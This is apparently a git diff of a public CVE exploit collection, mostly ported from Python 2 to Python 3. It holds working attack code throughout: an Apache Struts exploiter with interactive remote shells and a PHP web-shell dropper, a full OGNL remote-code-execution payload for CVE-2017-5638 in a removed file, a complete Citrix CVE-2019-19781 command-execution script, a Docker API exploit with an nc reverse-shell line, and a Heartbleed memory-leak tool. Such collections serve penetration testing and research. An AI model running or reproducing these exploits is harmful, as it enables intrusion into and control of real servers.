print BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC
|
||||
# CVE-2013-2251 ---------------------------------------------------------------------------------
|
||||
try:
|
||||
response = ''
|
||||
response = urllib.request.urlopen(host+poc)
|
||||
except:
|
||||
print(RED+" Servidor no responde\n"+ENDC)
|
||||
exit(0)
|
||||
|
||||
if response.read().find("mamalo") != -1:
|
||||
print RED+" [-] VULNERABLE"+ENDC
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
|
||||
|
||||
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
#print BOLD+" * [SHELL REVERSA]"+ENDC
|
||||
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
|
||||
if opcion == 's':
|
||||
print YELLOW+" [-] GET PROMPT...\n"+ENDC
|
||||
time.sleep(1)
|
||||
print BOLD+" * [UPLOAD SHELL]"+ENDC
|
||||
print OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC
|
||||
if response.read().find("mamalo") != -1:
|
||||
print(RED+" [-] VULNERABLE"+ENDC)
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
|
||||
while 1:
|
||||
separador = raw_input(GREEN+"Struts2@Shell_1:$ "+ENDC)
|
||||
espacio = separador.split(' ')
|
||||
comando = "','".join(espacio)
|
||||
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
#print BOLD+" * [SHELL REVERSA]"+ENDC
|
||||
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
|
||||
if opcion == 's':
|
||||
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||
time.sleep(1)
|
||||
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
|
||||
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
|
||||
|
||||
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
|
||||
shell = urllib2.urlopen(host+exploit("'"+str(comando)+"'"))
|
||||
print "\n"+shell.read()
|
||||
elif espacio[0] == 'pwnd':
|
||||
pathsave=raw_input("path EJ:/tmp/: ")
|
||||
while 1:
|
||||
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
|
||||
espacio = separador.split(' ')
|
||||
comando = "','".join(espacio)
|
||||
|
||||
if espacio[1] == 'php':
|
||||
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
|
||||
urllib2.urlopen(host+pwnd(str(shellfile)))
|
||||
shell = urllib2.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
|
||||
if shell.read().find(pathsave+"status.php") != -1:
|
||||
print BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC
|
||||
else:
|
||||
print BOLD+RED+"\nNo Create File :/\n"+ENDC
|
||||
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
|
||||
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
|
||||
print("\n"+shell.read())
|
||||
elif espacio[0] == 'pwnd':
|
||||
pathsave=input("path EJ:/tmp/: ")
|
||||
|
||||
# CVE-2017-5638 ---------------------------------------------------------------------------------
|
||||
print BLUE+" [-] NO VULNERABLE"+ENDC
|
||||
print BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC
|
||||
x = 0
|
||||
while x < len(validador()):
|
||||
valida = validador()[x]
|
||||
if espacio[1] == 'php':
|
||||
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
|
||||
urllib.request.urlopen(host+pwnd(str(shellfile)))
|
||||
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
|
||||
if shell.read().find(pathsave+"status.php") != -1:
|
||||
print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
|
||||
else:
|
||||
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
|
||||
|
||||
try:
|
||||
req = urllib2.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
|
||||
result = urllib2.urlopen(req).read()
|
||||
# CVE-2017-5638 ---------------------------------------------------------------------------------
|
||||
print(BLUE+" [-] NO VULNERABLE"+ENDC)
|
||||
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
|
||||
x = 0
|
||||
while x < len(validador()):
|
||||
valida = validador()[x]
|
||||
|
||||
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
||||
print RED+" [-] VULNERABLE"+ENDC
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
try:
|
||||
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
|
||||
result = urllib.request.urlopen(req).read()
|
||||
|
||||
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
if opcion == 's':
|
||||
print YELLOW+" [-] GET PROMPT...\n"+ENDC
|
||||
time.sleep(1)
|
||||
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
||||
print(RED+" [-] VULNERABLE"+ENDC)
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
|
||||
while 1:
|
||||
try:
|
||||
separador = raw_input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
|
||||
req = urllib2.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
|
||||
result = urllib2.urlopen(req).read()
|
||||
print "\n"+result
|
||||
except:
|
||||
exit(0)
|
||||
else:
|
||||
x = len(validador())
|
||||
else:
|
||||
print BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)
|
||||
except:
|
||||
pass
|
||||
x=x+1
|
||||
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
if opcion == 's':
|
||||
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||
time.sleep(1)
|
||||
|
||||
# CVE-2018-11776 ---------------------------------------------------------------------------------
|
||||
print BLUE+" [-] NO VULNERABLE"+ENDC
|
||||
print BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC
|
||||
x = 0
|
||||
while x < len(validador()):
|
||||
#Filtramos la url solo dominio
|
||||
url = host.replace('#', '%23')
|
||||
url = host.replace(' ', '%20')
|
||||
if ('://' not in url):
|
||||
url = str("http://") + str(url)
|
||||
scheme = urlparse.urlparse(url).scheme
|
||||
site = scheme + '://' + urlparse.urlparse(url).netloc
|
||||
while 1:
|
||||
try:
|
||||
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
|
||||
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
|
||||
result = urllib.request.urlopen(req).read()
|
||||
print("\n"+result)
|
||||
except:
|
||||
exit(0)
|
||||
else:
|
||||
x = len(validador())
|
||||
else:
|
||||
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
|
||||
except:
|
||||
pass
|
||||
x=x+1
|
||||
|
||||
#Filtramos la url solo path
|
||||
file_path = urlparse.urlparse(url).path
|
||||
if (file_path == ''):
|
||||
file_path = '/'
|
||||
|
||||
valida = validador()[x]
|
||||
try:
|
||||
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
|
||||
# CVE-2018-11776 ---------------------------------------------------------------------------------
|
||||
print(BLUE+" [-] NO VULNERABLE"+ENDC)
|
||||
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
|
||||
x = 0
|
||||
while x < len(validador()):
|
||||
#Filtramos la url solo dominio
|
||||
url = host.replace('#', '%23')
|
||||
url = host.replace(' ', '%20')
|
||||
if ('://' not in url):
|
||||
url = str("http://") + str(url)
|
||||
scheme = urllib.parse.urlparse(url).scheme
|
||||
site = scheme + '://' + urllib.parse.urlparse(url).netloc
|
||||
|
||||
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
||||
print RED+" [-] VULNERABLE"+ENDC
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
#Filtramos la url solo path
|
||||
file_path = urllib.parse.urlparse(url).path
|
||||
if (file_path == ''):
|
||||
file_path = '/'
|
||||
|
||||
opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
if opcion == 's':
|
||||
print YELLOW+" [-] GET PROMPT...\n"+ENDC
|
||||
time.sleep(1)
|
||||
print BOLD+" * [UPLOAD SHELL]"+ENDC
|
||||
print OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC
|
||||
valida = validador()[x]
|
||||
try:
|
||||
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
|
||||
|
||||
while 1:
|
||||
separador = raw_input(GREEN+"Struts2@Shell_3:$ "+ENDC)
|
||||
espacio = separador.split(' ')
|
||||
comando = "%20".join(espacio)
|
||||
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
|
||||
print(RED+" [-] VULNERABLE"+ENDC)
|
||||
owned = open('vulnsite.txt', 'a')
|
||||
owned.write(str(host)+'\n')
|
||||
owned.close()
|
||||
|
||||
shell = urllib2.urlopen(host+exploit3(str(comando)))
|
||||
print "\n"+shell.read()
|
||||
|
||||
else:
|
||||
x = len(validador())
|
||||
exit(0)
|
||||
else:
|
||||
print BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)
|
||||
except:
|
||||
pass
|
||||
x=x+1
|
||||
else:
|
||||
print RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC
|
||||
exit(0)
|
||||
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
|
||||
if opcion == 's':
|
||||
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
|
||||
time.sleep(1)
|
||||
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
|
||||
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
|
||||
|
||||
while 1:
|
||||
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
|
||||
espacio = separador.split(' ')
|
||||
comando = "%20".join(espacio)
|
||||
|
||||
shell = urllib.request.urlopen(host+exploit3(str(comando)))
|
||||
print("\n"+shell.read())
|
||||
|
||||
else:
|
||||
x = len(validador())
|
||||
exit(0)
|
||||
else:
|
||||
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
|
||||
except:
|
||||
pass
|
||||
x=x+1
|
||||
else:
|
||||
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
|
||||
exit(0)
|
||||
else:
|
||||
print RED+" Debe Ingresar una Url\n"+ENDC
|
||||
exit(0)
|
||||
print(RED+" Debe Ingresar una Url\n"+ENDC)
|
||||
exit(0)
|
||||
|
|
|
|||
|
|
@ -1,176 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
# coding=utf-8
|
||||
# *****************************************************
|
||||
# struts-pwn: Apache Struts CVE-2017-5638 Exploit
|
||||
# Author:
|
||||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
|
||||
# This code is based on:
|
||||
# https://www.exploit-db.com/exploits/41570/
|
||||
# https://www.seebug.org/vuldb/ssvid-92746
|
||||
# *****************************************************
|
||||
import sys
|
||||
import random
|
||||
import requests
|
||||
import argparse
|
||||
|
||||
# Disable SSL warnings
|
||||
try:
|
||||
import requests.packages.urllib3
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
except:
|
||||
pass
|
||||
|
||||
if len(sys.argv) <= 1:
|
||||
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
|
||||
print('[*] Struts-PWN - @mazen160')
|
||||
print('\n%s -h for help.' % (sys.argv[0]))
|
||||
exit(0)
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-u", "--url",
|
||||
dest="url",
|
||||
help="Check a single URL.",
|
||||
action='store')
|
||||
parser.add_argument("-l", "--list",
|
||||
dest="usedlist",
|
||||
help="Check a list of URLs.",
|
||||
action='store')
|
||||
parser.add_argument("-c", "--cmd",
|
||||
dest="cmd",
|
||||
help="Command to execute. (Default: id)",
|
||||
action='store',
|
||||
default='id')
|
||||
parser.add_argument("--check",
|
||||
dest="do_check",
|
||||
help="Check if a target is vulnerable.",
|
||||
action='store_true')
|
||||
args = parser.parse_args()
|
||||
url = args.url if args.url else None
|
||||
usedlist = args.usedlist if args.usedlist else None
|
||||
url = args.url if args.url else None
|
||||
cmd = args.cmd if args.cmd else None
|
||||
do_check = args.do_check if args.do_check else None
|
||||
|
||||
|
||||
def url_prepare(url):
|
||||
url = url.replace('#', '%23')
|
||||
url = url.replace(' ', '%20')
|
||||
if ('://' not in url):
|
||||
url = str('http') + str('://') + str(url)
|
||||
return(url)
|
||||
|
||||
|
||||
def exploit(url, cmd):
|
||||
url = url_prepare(url)
|
||||
print('\n[*] URL: %s' % (url))
|
||||
print('[*] CMD: %s' % (cmd))
|
||||
|
||||
payload = "%{(#_='multipart/form-data')."
|
||||
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||
payload += "(#_memberAccess?"
|
||||
payload += "(#_memberAccess=#dm):"
|
||||
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
||||
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
||||
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
|
||||
payload += "(#ognlUtil.getExcludedClasses().clear())."
|
||||
payload += "(#context.setMemberAccess(#dm))))."
|
||||
payload += "(#cmd='%s')." % cmd
|
||||
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
||||
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
||||
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
|
||||
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
|
||||
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
||||
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
||||
payload += "(#ros.flush())}"
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Content-Type': str(payload),
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 3
|
||||
try:
|
||||
output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
output = 'ERROR'
|
||||
return(output)
|
||||
|
||||
|
||||
def check(url):
|
||||
url = url_prepare(url)
|
||||
print('\n[*] URL: %s' % (url))
|
||||
|
||||
random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
|
||||
|
||||
payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
|
||||
payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Content-Type': str(payload),
|
||||
'Accept': '*/*'
|
||||
}
|
||||
|
||||
timeout = 3
|
||||
try:
|
||||
resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
|
||||
result = True
|
||||
else:
|
||||
result = False
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
result = False
|
||||
return(result)
|
||||
|
||||
|
||||
def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
|
||||
if url:
|
||||
if do_check:
|
||||
result = check(url) # Only check for existence of Vulnerablity
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
else:
|
||||
output = exploit(url, cmd) # Exploit
|
||||
print(output)
|
||||
|
||||
if usedlist:
|
||||
URLs_List = []
|
||||
try:
|
||||
f_file = open(str(usedlist), 'r')
|
||||
URLs_List = f_file.read().replace('\r', '').split('\n')
|
||||
try:
|
||||
URLs_List.remove('')
|
||||
except ValueError:
|
||||
pass
|
||||
f_file.close()
|
||||
except:
|
||||
print('Error: There was an error in reading list file.')
|
||||
exit(1)
|
||||
for url in URLs_List:
|
||||
if do_check:
|
||||
result = check(url) # Only check for existence of Vulnerablity
|
||||
output = '[*] Status: '
|
||||
if result is True:
|
||||
output += 'Vulnerable!'
|
||||
else:
|
||||
output += 'Not Affected.'
|
||||
else:
|
||||
output = exploit(url, cmd) # Exploit
|
||||
print(output)
|
||||
|
||||
print('[%] Done.')
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
|
||||
except KeyboardInterrupt:
|
||||
print('\nKeyboardInterrupt Detected.')
|
||||
print('Exiting...')
|
||||
exit(0)
|
||||
2
CVE Exploits/Apache Struts 2 CVE-2017-9805.py
Executable file → Normal file
2
CVE Exploits/Apache Struts 2 CVE-2017-9805.py
Executable file → Normal file
|
|
@ -8,6 +8,8 @@
|
|||
# https://github.com/rapid7/metasploit-framework/pull/8924
|
||||
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
|
||||
# *****************************************************
|
||||
from __future__ import print_function
|
||||
from builtins import str
|
||||
import argparse
|
||||
import requests
|
||||
import sys
|
||||
|
|
|
|||
15
CVE Exploits/Apache Struts 2 CVE-2018-11776.py
Executable file → Normal file
15
CVE Exploits/Apache Struts 2 CVE-2018-11776.py
Executable file → Normal file
|
|
@ -8,6 +8,11 @@
|
|||
# https://github.com/jas502n/St2-057
|
||||
# *****************************************************
|
||||
|
||||
from __future__ import print_function
|
||||
from future import standard_library
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
from builtins import range
|
||||
import argparse
|
||||
import random
|
||||
import requests
|
||||
|
|
@ -15,7 +20,7 @@ import sys
|
|||
try:
|
||||
from urllib import parse as urlparse
|
||||
except ImportError:
|
||||
import urlparse
|
||||
import urllib.parse
|
||||
|
||||
# Disable SSL warnings
|
||||
try:
|
||||
|
|
@ -77,13 +82,13 @@ def parse_url(url):
|
|||
|
||||
if ('://' not in url):
|
||||
url = str("http://") + str(url)
|
||||
scheme = urlparse.urlparse(url).scheme
|
||||
scheme = urllib.parse.urlparse(url).scheme
|
||||
|
||||
# Site: http://example.com
|
||||
site = scheme + '://' + urlparse.urlparse(url).netloc
|
||||
site = scheme + '://' + urllib.parse.urlparse(url).netloc
|
||||
|
||||
# FilePath: /demo/struts2-showcase/index.action
|
||||
file_path = urlparse.urlparse(url).path
|
||||
file_path = urllib.parse.urlparse(url).path
|
||||
if (file_path == ''):
|
||||
file_path = '/'
|
||||
|
||||
|
|
@ -154,7 +159,7 @@ def check(url):
|
|||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
continue
|
||||
if "Location" in resp.headers.keys():
|
||||
if "Location" in list(resp.headers.keys()):
|
||||
if str(multiplication_value) in resp.headers['Location']:
|
||||
print("[*] Status: Vulnerable!")
|
||||
return(injection_point)
|
||||
|
|
|
|||
51
CVE Exploits/Citrix CVE-2019-19781.py
Normal file
51
CVE Exploits/Citrix CVE-2019-19781.py
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
#!/usr/bin/env python
|
||||
# https://github.com/mpgn/CVE-2019-19781
|
||||
# # #
|
||||
|
||||
import requests
|
||||
import string
|
||||
import random
|
||||
import re
|
||||
import sys
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
|
||||
print("Found by Mikhail Klyuchnikov")
|
||||
print("")
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("[-] No URL provided")
|
||||
sys.exit(0)
|
||||
|
||||
while True:
|
||||
try:
|
||||
command = input("command > ")
|
||||
|
||||
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
|
||||
print("[+] Adding bookmark", random_xml + ".xml")
|
||||
|
||||
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
|
||||
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||||
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||||
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
|
||||
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
|
||||
|
||||
if r.status_code == 200:
|
||||
print("[+] Bookmark added")
|
||||
else:
|
||||
print("\n[-] Target not vulnerable or something went wrong")
|
||||
sys.exit(0)
|
||||
|
||||
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
|
||||
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||||
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||||
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
|
||||
|
||||
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
|
||||
print("[+] Result of the command: \n")
|
||||
print(replaced)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("Exiting...")
|
||||
break
|
||||
|
|
@ -1,3 +1,4 @@
|
|||
from __future__ import print_function
|
||||
import requests
|
||||
import logging
|
||||
import json
|
||||
|
|
@ -23,7 +24,7 @@ if r.json:
|
|||
for container in r.json():
|
||||
container_id = container['Id']
|
||||
container_name = container['Names'][0].replace('/','')
|
||||
print(container_id, container_name)
|
||||
print((container_id, container_name))
|
||||
|
||||
# Step 2 - Prepare command
|
||||
cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
|
||||
|
|
|
|||
0
CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb
Executable file → Normal file
0
CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb
Executable file → Normal file
51
CVE Exploits/Heartbleed CVE-2014-0160.py
Executable file → Normal file
51
CVE Exploits/Heartbleed CVE-2014-0160.py
Executable file → Normal file
|
|
@ -4,6 +4,9 @@
|
|||
# The author disclaims copyright to this source code.
|
||||
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
|
||||
|
||||
from __future__ import print_function
|
||||
from builtins import str
|
||||
from builtins import range
|
||||
import sys
|
||||
import struct
|
||||
import socket
|
||||
|
|
@ -61,12 +64,12 @@ def hexdump(s, dumpf, quiet):
|
|||
dump.write(s)
|
||||
dump.close()
|
||||
if quiet: return
|
||||
for b in xrange(0, len(s), 16):
|
||||
for b in range(0, len(s), 16):
|
||||
lin = [c for c in s[b : b + 16]]
|
||||
hxdat = ' '.join('%02X' % ord(c) for c in lin)
|
||||
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
|
||||
print ' %04x: %-48s %s' % (b, hxdat, pdat)
|
||||
print
|
||||
print(' %04x: %-48s %s' % (b, hxdat, pdat))
|
||||
print()
|
||||
|
||||
def recvall(s, length, timeout=5):
|
||||
endtime = time.time() + timeout
|
||||
|
|
@ -92,57 +95,57 @@ def recvall(s, length, timeout=5):
|
|||
def recvmsg(s):
|
||||
hdr = recvall(s, 5)
|
||||
if hdr is None:
|
||||
print 'Unexpected EOF receiving record header - server closed connection'
|
||||
print('Unexpected EOF receiving record header - server closed connection')
|
||||
return None, None, None
|
||||
typ, ver, ln = struct.unpack('>BHH', hdr)
|
||||
pay = recvall(s, ln, 10)
|
||||
if pay is None:
|
||||
print 'Unexpected EOF receiving record payload - server closed connection'
|
||||
print('Unexpected EOF receiving record payload - server closed connection')
|
||||
return None, None, None
|
||||
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
|
||||
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
|
||||
return typ, ver, pay
|
||||
|
||||
def hit_hb(s, dumpf, host, quiet):
|
||||
while True:
|
||||
typ, ver, pay = recvmsg(s)
|
||||
if typ is None:
|
||||
print 'No heartbeat response received from '+host+', server likely not vulnerable'
|
||||
print('No heartbeat response received from '+host+', server likely not vulnerable')
|
||||
return False
|
||||
|
||||
if typ == 24:
|
||||
if not quiet: print 'Received heartbeat response:'
|
||||
if not quiet: print('Received heartbeat response:')
|
||||
hexdump(pay, dumpf, quiet)
|
||||
if len(pay) > 3:
|
||||
print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!'
|
||||
print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
|
||||
else:
|
||||
print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.'
|
||||
print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
|
||||
return True
|
||||
|
||||
if typ == 21:
|
||||
if not quiet: print 'Received alert:'
|
||||
if not quiet: print('Received alert:')
|
||||
hexdump(pay, dumpf, quiet)
|
||||
print 'Server '+ host +' returned error, likely not vulnerable'
|
||||
print('Server '+ host +' returned error, likely not vulnerable')
|
||||
return False
|
||||
|
||||
def connect(host, port, quiet):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
if not quiet: print 'Connecting...'
|
||||
if not quiet: print('Connecting...')
|
||||
sys.stdout.flush()
|
||||
s.connect((host, port))
|
||||
return s
|
||||
|
||||
def tls(s, quiet):
|
||||
if not quiet: print 'Sending Client Hello...'
|
||||
if not quiet: print('Sending Client Hello...')
|
||||
sys.stdout.flush()
|
||||
s.send(hello)
|
||||
if not quiet: print 'Waiting for Server Hello...'
|
||||
if not quiet: print('Waiting for Server Hello...')
|
||||
sys.stdout.flush()
|
||||
|
||||
def parseresp(s):
|
||||
while True:
|
||||
typ, ver, pay = recvmsg(s)
|
||||
if typ == None:
|
||||
print 'Server closed connection without sending Server Hello.'
|
||||
print('Server closed connection without sending Server Hello.')
|
||||
return 0
|
||||
# Look for server hello done message.
|
||||
if typ == 22 and ord(pay[0]) == 0x0E:
|
||||
|
|
@ -156,10 +159,10 @@ def check(host, port, dumpf, quiet, starttls):
|
|||
s.ehlo()
|
||||
s.starttls()
|
||||
except smtplib.SMTPException:
|
||||
print 'STARTTLS not supported...'
|
||||
print('STARTTLS not supported...')
|
||||
s.quit()
|
||||
return False
|
||||
print 'STARTTLS supported...'
|
||||
print('STARTTLS supported...')
|
||||
s.quit()
|
||||
s = connect(host, port, quiet)
|
||||
s.settimeout(1)
|
||||
|
|
@ -170,7 +173,7 @@ def check(host, port, dumpf, quiet, starttls):
|
|||
s.send('starttls\r\n')
|
||||
re = s.recv(1024)
|
||||
except socket.timeout:
|
||||
print 'Timeout issues, going ahead anyway, but it is probably broken ...'
|
||||
print('Timeout issues, going ahead anyway, but it is probably broken ...')
|
||||
tls(s,quiet)
|
||||
else:
|
||||
s = connect(host, port, quiet)
|
||||
|
|
@ -179,13 +182,13 @@ def check(host, port, dumpf, quiet, starttls):
|
|||
version = parseresp(s)
|
||||
|
||||
if version == 0:
|
||||
if not quiet: print "Got an error while parsing the response, bailing ..."
|
||||
if not quiet: print("Got an error while parsing the response, bailing ...")
|
||||
return False
|
||||
else:
|
||||
version = version - 0x0300
|
||||
if not quiet: print "Server TLS version was 1.%d\n" % version
|
||||
if not quiet: print("Server TLS version was 1.%d\n" % version)
|
||||
|
||||
if not quiet: print 'Sending heartbeat request...'
|
||||
if not quiet: print('Sending heartbeat request...')
|
||||
sys.stdout.flush()
|
||||
if (version == 1):
|
||||
s.send(hbv10)
|
||||
|
|
@ -205,8 +208,8 @@ def main():
|
|||
options.print_help()
|
||||
return
|
||||
|
||||
print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
|
||||
for i in xrange(0,opts.num):
|
||||
print('Scanning ' + args[0] + ' on port ' + str(opts.port))
|
||||
for i in range(0,opts.num):
|
||||
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
|
||||
|
||||
if __name__ == '__main__':
|
